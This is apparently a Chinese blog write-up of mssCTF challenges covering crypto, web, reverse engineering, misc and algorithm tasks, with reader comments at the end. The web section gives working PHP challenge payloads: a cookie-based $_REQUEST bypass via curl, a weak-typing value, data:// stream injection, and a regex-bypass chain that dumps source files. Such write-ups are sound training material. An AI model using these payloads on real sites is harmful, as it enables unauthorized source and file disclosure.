审核也过了我就顺手发一下
实际上主要是想吐槽 Web 出题人题目里夹带私货,但是没什么好地方吐槽。
我当时看 Web1 的时候还不知道这个 HS
是啥ㄟ<(=▔.▔=)>ㄏ,结果下午打美团杯的时候恍然大悟。
有一说一,我也挺喜欢 Hanser 的歌的
以下是正文
CRYPTO
OldAffineSignin
打开下发文件发现是给定了码表的替换
反过来映射即可
Web
HS.com
先 curl -vv
链接
< HTTP/1.1 405 Method Not Allowed
< Server: nginx/1.14.2
< Date: Sun, 11 Jul 2021 08:48:44 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 0
< Connection: keep-alive
< Allowed-Request-Method: HS
< X-Powered-By: PHP/8.0.8
注意到给定了 Request Method,将 Request Method 替换成 HS
后开始代码审计
$fake_data = $_GET['innerspace'];
$data = $_REQUEST['innerspace'];
题目要求上面两个变量不相同,注意到 $_REQUEST
是可以从 Cookies 读入的,所以直接提交即可
curl --cookie "innerspace=mssctf" -X HS url
babyphp
打开发现是套了三层娃的代码审计
第一层是很常见的 PHP 弱类型,构造 level1=0x91d
第二层则是流注入,构造 level2=data:text/plain,mssCTF is interesting!
第三层是绕过正则匹配,但是发现能用的差不多都被扬了,考虑只使用没有参数的函数,构造level3=show_source(next(array_reverse(scandir(pos(localeconv())))));
RE
signin
拖进 IDA,F5
发现是对读入的字符串异或然后和给定值比对
倒回去即可
#include <stdio.h>
#include <string.h>
int main()
{
unsigned long long v4[3]; // [rsp+20h] [rbp-60h]
char a[90];
char v5[] = "\n\t_\bqqv$";
memset( a, 0, sizeof(a) );
v4[0] = 0x742D23213C3C6E31;
v4[1] = 0x44124317282A2B7B;
v4[2] = 0x530050531E491C10;
memcpy( a, v4, sizeof(v4) );
memcpy( a + 24, v5, sizeof(v5) );
// for( int j = 0; j <= 31; ++j )
// a[j] = *( ( (char *)v4 ) + j );
for( int j = 0; j <= 31; j ++ ) {
a[j] ^= 2u * ( j + 4 );
}
printf("Here is your flag : mssctf{%s}", a);
return 0;
}
MISC
give you flag
下载,解压
发现是 base64,解码,还是,再解码……发现解不了,反转一下,接着解码……
发现解出一团乱码,反转,再解码……
得到 flag
PPC
sequence
注意函数很快会收敛到 $3$。
暴力计算判断是否收敛即可。
2077
如果知道每个物品的价值的话就是裸的完全背包,则问题集中在计算每个物品的价值。
注意到如果构造关系保证 DAG 的话很容易求出每个点的价值,考虑去环。
发现 $n,m \leq 200$,暴力去环即可。
NOI 2021 什么时候发?/期待 /大佬nb /woshiluo_yyds
已经发了
距离罗师傅最近的一次